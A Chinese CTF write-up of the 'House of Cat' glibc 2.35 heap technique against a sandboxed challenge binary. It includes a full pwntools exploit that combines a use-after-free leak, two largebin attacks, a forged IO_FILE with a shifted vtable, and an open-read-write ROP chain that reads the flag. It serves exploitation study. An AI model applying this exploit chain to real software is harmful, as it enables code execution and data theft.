0%

House Of Cat-2.35-64

houseofcat 复现

1
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3) stable release version 2.35
1
2
3
4
5
6
7
pwn: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=3aaf66e8616ac46ea3a3708792d4361a6c5b94c6, for GNU/Linux 3.2.0, not stripped        
[*] '/home/yhellow/桌面/easychain1/pwn/rootfs/pwn'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开
1
➜  houseofcat patchelf ./house_of_cat --set-interpreter ./ld-linux-x86-64.so.2  --replace-needed libc.so.6 ./libc.so.6 --output house_of_cat1 
1
2
3
pwndbg> set debug-file-directory /home/yhellow/tools/debuglibc/2.35-0ubuntu3_amd64/usr/lib/debug/
pwndbg> show debug-file-directory
The directory where separate debug symbols are searched for is "/home/yhellow/tools/debuglibc/2.35-0ubuntu3_amd64/usr/lib/debug/".

有沙盒:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
➜  houseofcat seccomp-tools dump ./house_of_cat1            
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x10 0xc000003e if (A != ARCH_X86_64) goto 0018
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x0d 0xffffffff if (A != 0xffffffff) goto 0018
0005: 0x15 0x0b 0x00 0x0000013e if (A == getrandom) goto 0017
0006: 0x15 0x0a 0x00 0x00000002 if (A == open) goto 0017
0007: 0x15 0x09 0x00 0x00000003 if (A == close) goto 0017
0008: 0x15 0x08 0x00 0x00000009 if (A == mmap) goto 0017
0009: 0x15 0x07 0x00 0x0000000c if (A == brk) goto 0017
0010: 0x15 0x06 0x00 0x000000e7 if (A == exit_group) goto 0017
0011: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0016
0012: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0013: 0x15 0x00 0x04 0x00000000 if (A != 0x0) goto 0018
0014: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0015: 0x15 0x01 0x02 0x00000000 if (A == 0x0) goto 0017 else goto 0018
0016: 0x15 0x00 0x01 0x00000001 if (A != write) goto 0018
0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0018: 0x06 0x00 0x00 0x00000000 return KILL
  • 白名单:getrandom,open,close,mmap,brk,exit_group
  • read 使用的 FD 只能为 “0”

漏洞分析

1
2
3
4
5
6
7
8
9
10
11
ssize_t show()
{
unsigned __int64 index; // [rsp+8h] [rbp-8h]

output("plz input your cat idx:\n");
index = (unsigned int)input_num();
if ( index > 0xF || !(&chunk_list)[index] )
return output("invalid!\n");
output("Context:\n");
return write(1, (&chunk_list)[index], 0x30uLL);
}
  • 有 UAF
1
2
3
output("Welcome to CatF1y's shop!!\n");
output("You can find your cat there\n");
libc_addr = &write + 0x20935; /* mp_+104 */
1
00:00000x558f614e7160 —▸ 0x7f04f249e3c8 (mp_+104) ◂— 0x40 /* '@' */
1
2
3
4
5
6
7
8
__int64 init_k()
{
__int64 result; // rax

result = key;
*libc_addr = key;
return result;
}
  • 可以修改 mp_ 为 0x40

入侵思路

在 libc-2.34 中删除了:

  • __free_hook
  • __malloc_hook
  • __realloc_hook
  • __memalign_hook
  • __after_morecore_hook

在 libc-2.34 的早期版本中(glibc-2.34-0ubuntu3_amd64 以及之前),vtable 可写,但在 glibc-2.34-0ubuntu3.2_amd64 中 vtable 不可写

1
2
3
4
5
6
7
8
pwndbg> p /x &_IO_2_1_stdout_ 
$1 = 0x7f33cb29a780
pwndbg> x/xg 0x7f33cb29a780+0xd8
0x7f33cb29a858 <_IO_2_1_stdout_+216>: 0x00007f33cb296600
pwndbg> vmmap 0x00007f33cb296600
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x7f33cb295000 0x7f33cb299000 r--p 4000 214000 /home/yhellow/桌面/houseofcat/libc.so.6 +0x1600

因为题目限制了 edit 的次数,导致 House Of Emma 不起作用

  • House Of Emma 需要3次 edit:
    • 构造 largebin attack 攻击 stderr 中的 FILE 结构体
    • 构造 largebin attack 攻击 __pointer_chk_guard_local
    • 修改 top chunk->size 以触发 sysmalloc 中的 __malloc_assert

这时就需要 House Of Emma 中 vtable 偏移的思想,通过修改虚表指针的偏移,转而调用 _IO_wfile_jumps 中的 _IO_wfile_seekoff 函数,然后进入到 _IO_switch_to_wget_mode 函数中来攻击

进行 largebin attack,把 stderr 中的 _IO_2_1_stderr_ 覆盖为可控制的 heap 地址

然后注入一些的 fake_IO_FILE:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
next_chain = 0
fake_IO_FILE = p64(0)*4
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0xffff) # rax1
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(heap_base+0xc18-0x68) #rdx
fake_IO_FILE +=p64(setcontext+61) #call addr
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE +=p64(heap_base+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libc_base+0x2160d0) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(heap_base+0xb30+0x10) # rax2

因为沙盒中限制了 read 的 FD,所以在调用 ORW 前需要先 close(0),使 open("./flag") 的文件描述符生成在 “0”

完整 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
from pwn import * 
from pwn_debug import *

cmd = "set debug-file-directory /home/yhellow/tools/debuglibc/2.35-0ubuntu3_amd64/usr/lib/debug/\n"

p = process("./house_of_cat1")
#p = gdb.debug('./house_of_cat1', cmd)
elf = ELF("./house_of_cat1")
libc = ELF("./libc.so.6")
context.arch = "amd64"

def inpwn():
payload = "LOGIN | r00t QWBQWXF admin"
p.sendafter("mew mew mew~~~~~~\n",payload)
payload = "CAT | r00t QWBQWXF "+"\xff"
p.sendafter("mew mew mew~~~~~~\n",payload)

def choice(num):
inpwn()
p.sendlineafter("choice:\n",str(num))

def add(index,size,content="\x00"):
choice(1)
p.sendlineafter("idx:\n",str(index))
p.sendlineafter("size:\n",str(size))
p.sendafter("content:\n",content)

def delete(index):
choice(2)
p.sendlineafter("idx:\n",str(index))

def show(index):
choice(3)
p.sendlineafter("idx:\n",str(index))

def edit(index,content):
choice(4)
p.sendlineafter("idx:\n",str(index))
p.sendafter("content:\n",content)

add(0,0x420,'aaa')
add(1,0x430,'bbb')
add(2,0x418,'ccc')
delete(0)
add(3,0x440,'ddd')
show(0)

p.recvuntil('Context:\n')
libc_base=u64(p.recv(6).ljust(8,'\x00'))-0x21a0d0
success('libc_base >> '+hex(libc_base))

p.recv(10)
heap_base=u64(p.recv(6).ljust(8,'\x00'))-0x290
success('heap_base >> '+hex(heap_base))

pop_rdi_ret=libc_base+0x000000000002a3e5
pop_rsi_ret=libc_base+0x000000000002be51
pop_rdx_pop_r12_ret=libc_base+0x000000000011f497
ret=libc_base+0x0000000000029cd6
pop_rax_ret=libc_base+0x0000000000045eb0
syscall_ret=libc_base+libc.search(asm('syscall\nret')).next()
stderr=libc_base+libc.sym['stderr']

setcontext=libc_base+libc.sym['setcontext']
close=libc_base+libc.sym['close']
read=libc_base+libc.sym['read']
write=libc_base+libc.sym['write']

#fake IO
next_chain = 0
fake_IO_FILE = p64(0)*4
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(0xffff) # rax1
fake_IO_FILE +=p64(0)
fake_IO_FILE +=p64(heap_base+0xc18-0x68) #rdx
fake_IO_FILE +=p64(setcontext+61) #call addr
fake_IO_FILE = fake_IO_FILE.ljust(0x58, '\x00')
fake_IO_FILE += p64(0) # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, '\x00')
fake_IO_FILE += p64(heap_base+0x200) # _lock = writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, '\x00')
fake_IO_FILE +=p64(heap_base+0xb30) #rax1
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, '\x00')
fake_IO_FILE += p64(0) # _mode = 0
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, '\x00')
fake_IO_FILE += p64(libc_base+0x2160d0) # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(heap_base+0xb30+0x10) # rax2

flag_addr=heap_base+0x17d0
payload1=fake_IO_FILE+p64(flag_addr)+p64(0)+p64(0)*5+p64(heap_base+0x2050)+p64(ret)
delete(2)
add(6,0x418,payload1)
delete(6)

#large bin attack stderr poiniter
edit(0,p64(libc_base+0x21a0d0)*2+p64(heap_base+0x290)+p64(stderr-0x20))
add(5,0x440,'aaaaa')
add(7,0x430,'./flag\x00')
add(8,0x430,'eee')

rop_data = [
pop_rdi_ret, # close(0)
0,
close,
pop_rax_ret, # sys_open('flag', 0)
2,
pop_rdi_ret,
flag_addr,
syscall_ret,
pop_rdi_ret, # read(0, heap, 0x100)
0,
pop_rsi_ret,
flag_addr + 0x200,
pop_rdx_pop_r12_ret,
0x100,
0,
read,
pop_rdi_ret, # write(1, heap, 0x100)
1,
pop_rsi_ret,
flag_addr + 0x200,
pop_rdx_pop_r12_ret,
0x100,
0,
write
]

#rop
add(9,0x430,flat(rop_data))
delete(5)
add(10,0x450,p64(0)+p64(1))
delete(8)

# large bin attack topchunk's size
edit(5,p64(libc_base+0x21a0e0)*2+p64(heap_base+0x1370)+p64(heap_base+0x28e0-0x20+3))

inpwn()
p.sendlineafter('plz input your cat choice:\n',str(1))
p.sendlineafter('plz input your cat idx:',str(11))
#gdb.attach(p,'b* (_IO_wfile_seekoff)')
p.sendlineafter('plz input your cat size:',str(0x450))

p.interactive()

小结:

打比赛的时候没有做出来,在学习了 House Of Kiwi,House Of Emma 后,感觉理解这种调用方式了,最核心的技术还是那一点:通过伪造 vtable 的偏移来进行 vtable 函数任意执行

House Of Cat 只需要两次 edit,比 House Of Emma 还少一次,我感觉基于这个思路应该有很多种调用链,但它们大多数都可以被 House Of Cat 替代

如果本题目的漏洞点不是 UAF,而是 off-by-one 的话,可能会更复杂点,但理论上还是可以通过 unsortedbin 遗留的 FD BK 指针来绕过检查,完成 leak 并且进行一次 largebin attack